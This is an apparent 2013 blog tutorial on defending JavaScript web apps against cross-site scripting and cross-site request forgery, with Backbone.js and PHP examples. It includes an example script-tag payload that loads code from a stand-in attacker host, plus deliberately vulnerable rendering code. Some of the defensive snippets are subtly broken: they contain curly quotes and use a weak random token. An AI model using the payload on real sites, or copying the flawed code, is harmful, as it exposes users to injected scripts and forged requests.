Stephen A Thomas

User Experience & Usability

Apr 9, 2013

Securing Javascript Web Apps

Modern web apps require snappy performance and dynamic content, requirements that are driving more developers to Javascript-based single page apps. This architecture brings many advantages, but it shouldn't be an excuse to forget all the lessons we’ve (painfully) learned about web security. In fact, typical Javascript web apps may introduce vulnerabilities that can expose the web site to common attacks in new ways. Fortunately—as we’ll see—protecting against those attacks doesn’t have to be complex or burdensome.

The two most common attacks on web applications today are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). In one interesting way, they are like perfect complements of each other: Cross-Site Scripting attacks succeed when the browser trusts the server more than it should, and Cross-Site Request Forgery attacks succeed when the server trusts the browser more than it should. We can address both of these concerns when we build our apps. We’ll make sure that our app warrants the trust browsers place in it, and we’ll harden our server to ensure it’s trust in the browser clients is appropriate.

Cross-Site Scripting (XSS)

The most common attack on web applications today remains cross-site scripting (XSS), despite the fact that the attack, and how to prevent it, have been well understood for many years. Attackers use XSS because it is trivial to attempt, and because it’s easy for application developers to overlook the steps required to block it. That’s especially true for Javascript-based web applications, since nearly all of the popular documentation, examples, and tutorials neglect to discuss the attack. Fortunately, once you understand the attack and how it works, it’s easy to prevent.

What Is Cross-Site Scripting?

Although there are many variations of cross-site scripting attacks, they all share a common, key characteristic: a trusted web site unwittingly serves malicious Javascript to its users. In typical attacks, neither the web site nor the user is aware of the breach. As far as the users are concerned, they are simply accessing the fine content of your.web.app.com.

What the users don’t know, however, is that the content includes a malicious attack script. When the browser executes that script, the attacker gains the same level of trust as your web site. The script could, for example, monitor all the AJAX communications between users and your web site, forwarding copies to the attacker’s own server.

How Does a Cross-Site Scripting Attack Work?

Web apps are vulnerable to cross-site scripting whenever they serve content that originates from an untrusted source. For a classic example, consider an app that allows public comments on user content. If the app follows any of the standard tutorials for Javascript frameworks, it might include a textarea in one of its views. Users add comments by filling in that textarea.

Behind the scenes, the app may be watching for click events related to that textarea. When the browser triggers the event, the app updates its model which, in turn, synchronizes with the server. In Backbone.js, for example, the following pattern is common:

var NewCommentView = Backbone.View.extend({
    ...
    events: {
        "click button": "save"
    },
    save: function(ev){
        ev.preventDefault();
        var newComment = this.$('input[name=comment]').val();
        this.model.save({newComment: newComment});
    },
    ...
});

One the model is updated and synchronized with the server, the post has a new comment. From then on, whenever any user views the post, the app will display any comments as well. A naive but common implementation for rendering those comments might look something like:

var CommentView = Backbone.View.extend({
    ...
    template: _.template('<p><%= comment %></p>'),
    render: function(){
        this.$el.html(this.template(this.model.toJSON()));
    },
    ...
});

The naive implementation works fine for the comment from the example above, but suppose an attacker adds the following comment:

That comment is now associated with the post. It is, in effect, a trap set for future users. Later, when a different user views the post, the app shows all of its comments. When the app’s view calls this.$el.html() with that content, jQuery will dutifully insert the comment into the web page, <script> tag and all. The browser will then honor the <script> tag, fetch the script file and execute it. At this point the current user is completely at the mercy of evil.web.site.com. We can only hope the damage can be contained.

How Can I Prevent Cross-Site Scripting Attacks?

To protect against cross-site scripting attacks, web applications must ensure that no user-supplied content contains embedded Javascript. The standard way to eliminate Javascript is to escape the content. Escaping content replaces any characters that have special meaning in HTML with an alternate representation that removes that special meaning. If you’ve tried to display a less-than symbol (<) in a web page, you’ve encountered HTML escapes. Instead of simply writing the symbol itself, you use the character combination &lt;. That combination prevents the browser from interpreting the symbol as the start of a new tag.

Avoiding cross-site scripting attacks relies on that exact same process. Take any user-supplied content, such as:

I like your post! <script src="http://evil.web.site.com/badscript.js"></script>

and transform it by escaping all special characters. The transformed content would be

I like your post! &lt;script src=&quot;http://evil.web.site.com/badscript.js&quot;&gt;&lt;/script&gt;

Your app can safely insert this content in the document, as the browser will not try to execute the evil site’s script.

You can perform the escape function when the content is captured. In Backbone.js, for example, you can use the _.escape() utility from Underscore.js:

var NewCommentView = Backbone.View.extend({
    ...
    events: {
        "click button": "save"
    },
    save: function(ev){
        ev.preventDefault();
        var newComment = _.escape(this.$('input[name=comment]').val());
        this.model.save({newComment: newComment});
    },
    ...
});

You should also escape content when it’s rendered. One way to do that is to use the jQuery text() function instead of html().

var CommentView = Backbone.View.extend({
    ...
    tagName: "p",
    template: _.template('<%= comment %>'),
    render: function(){
        this.$el.text(this.template(this.model.toJSON()));
    },
    ...
});

If you need HTML tags for other reasons, most templating libraries include an option to escape content. For Underscore.js, using <%- instead of <%= forces escaping:

var CommentView = Backbone.View.extend({
    ...
    template: _.template('<p><%- comment %></p>'),
    render: function(){
        this.$el.html(this.template(this.model.toJSON()));
    },
    ...
});

Of course, to be completely safe, there’s no harm in adopting multiple methods. Escape any content the user provides before updating your model. And escape any content that may have come from a user when rendering your view. Those steps will secure your Javascript app against cross site scripting attacks.

Cross-Site Request Forgery (CSRF)

Javascript-based web applications typically deliver JSON-formatted content via a REST interface. The REST interface itself may expose the app to another web app vulnerability—cross-site request forgery (CSRF). Although recent studies have noted that CSRF attacks are the second most common type of attack against web applications, their prevalence should decline as browser releases that support Cross-Origin Resource Sharing (CORS) become more common. CORS protects against CSRF attacks so long as the target server is properly configured; however, CORS is not universally implemented in web browsers today. For now, we have to add our own defenses against CSRF attacks.

What is a Cross-Site Request Forgery Attack?

CSRF attacks can occur when users are viewing multiple web sites at the same time, generally in separate tabs or browser windows. In such cases, users generally understand their interactions with the various sites to be completely isolated from each other.

Unfortunately, the users’ understanding is flawed. In fact, Javascript code delivered by one web site may attempt to access other sites. The scripts delivered by suspicious.web.site.com can freely request resources or actions at your.web.app.com. Furthermore, any communication initiated by such scripts will automatically include the authentication credentials of the target site. As far as your.web.app.com can tell, the requests will appear to be coming from a legitimate user.

Obviously, should a CSRF attack succeed, it can be devastatingly effective. The attacker could access the victim’s confidential information or perform inappropriate actions on behalf of the victim (e.g. changing the victim’s email address to one controlled by the attacker and then requesting a password reset).

What Makes CSRF Attacks Possible?

CSRF attacks are possible because the target web server only sees a request from the victim’s browser. The browser does not automatically tell the server the web page from which the request originated (and, thus, the web page to which its response will be conveyed). In the attack, a script from one site or domain (suspicious.web.site.com) is accessing resources from a different site domain (your.web.app.com) while counting on the web browser to successfully impersonate the victim.

How can You Protect Against the Attack?

To protect against CSRF attacks, web applications must ensure that any REST requests come from legitimate web pages and not, for example, from suspicious.web.site.com. There are a few ways to provide that assurance, but all rely on the same general approach. The approach is known as the synchronizer token pattern:

  1. Web pages delivered by the legitimate site include a special secret value (a random number) in a location only accessible to scripts executing on those pages.
  2. Any legitimate script that wants to make a JSON request must retrieve that secret value from the page and include it along with the request.
  3. Before accepting a request, the server verifies that the correct secret value for the user is present.

The secret value may included in a hidden form field on the page, or it may be part of an HTTP cookie. In either case other web pages (such as suspicious.web.site.com) will not be able to access that value, so they will not be able to include it in their forged requests.

Let’s walk through a complete example. The first step takes place when we serve the initial web page for the app. In addition to the HTML content, we include a cookie with a random value. Here’s a PHP snippet to add such a cookie. (Your app may well include other PHP functionality, but we’ll keep it simple here.)

<?php
   setcookie("X-CSRF-Token”, sha1(rand()));
   echo file_get_contents( “index.html" );
?>

The next step is up to the app’s Javascript executing in the browser; we want to find the value of this cookie and include it as an additional HTTP header in all our REST requests. If our app is based on Backbone.js, we can do that easily by overriding the default Backbone sync() function. Here’s how to do that. (We’re using PPK’s readCookie() utility.)

 var csrf = readCookie("X-CSRF-Token");
 if (csrf) {
    myApp.originalSync = Backbone.sync;
    Backbone.sync = function(method, model, options) {
        options || (options = {});
        options.headers = { "X-CSRF-Token”: csrf };
        return myApp.originalSync(method,model,options);
    };
 }

Finally, back at the server, our REST API should verify that the added HTTP header matches the cookie before it processes any request. Again, to use PHP as an example:

<?php
   if ($_SERVER['HTTP_X_CSRF_TOKEN'] != $_COOKIE['X-CSRF-Token']) {
       header('Status: 403 Forbidden');
       exit();
   }
   /* process request normally */
?>

With those simple steps, we’ve protected our web app from CSRF attacks. The protection works because only web pages that our server delivers will have the special cookie. Web pages from an attacker’s site won’t be able to read the cookie, so the API will deny their requests.

How does Cross-Origin Resource Sharing Affect CSRF?

Cross-Origin Resource Sharing (CORS) is an enhancement to the HTTP protocol that controls how web pages from one site can access resources at a different site. It includes enough flexibility to support a variety of scenarios, but its default behavior effectively blocks CSRF attacks.

Browsers that implement CORS take extra precautions with any request that crosses domains, including CSRF attacks. Here’s a simplified description:

  • If the request is a “simple request” (which includes GET requests), the browser sends the request to the target domain along with an extra HTTP header (Origin) that identifies the page that initiated the request.
  • When the browser receives the response to a request, it looks for another HTTP header (Access-Control-Allow-Origin). If that header is present, and if its value matches the page that made the request, the browser forwards the request on to that page. Otherwise, the browser prevents the page from receiving the response.
  • If the request is a “complex request” (such as PUT, DELETE, and most POST requests), the browser first checks for permission from the target. It does that by sending an OPTIONS request with extra HTTP headers that identify the requesting domain (Origin) as well as the type of request (Access-Control-Request-Method).
  • The target can use that information to permit or deny the request, again using the Access-Control-Allow-Origin header.

Web servers that don’t support CORS won’t know to include the Access-Control-Allow-Origin header in their responses, so the browser won’t forward those responses to the attacker.

CORS does provide protection against CSRF attacks; however, there are a couple of critical caveats:

  1. The web server must ensure that GET requests have no side effects. Even though the browser will block responses from the attacker, it won’t block the requests themselves.
  2. CORS is not (quite) universally supported in all web browsers. In particular, Internet Explorer prior to version 8, Opera prior to version 12, various versions of Opera Mini and Opera Mobile, and a few very old versions of Firefox don’t support CORS. A web server that relies solely on CORS for CSRF protection would still be vulnerable to users accessing via those browsers.

Conclusions

Javascript-based web apps offer many advantages, but they’re not immune to security vulnerabilities. In fact two of the most common web attacks, cross-site scripting and cross-site request forgery, are fundamentally Javascript-based attacks. Fortunately, there are a few simple steps we can take in our web apps to protect against these attacks. Escape all user-supplied content to eliminate cross-site scripting, and use random tokens to protect your REST API against cross-site request forgeries. With both of these mechanisms in place, your Javascript web app will be safe from the two most common web security vulnerabilities.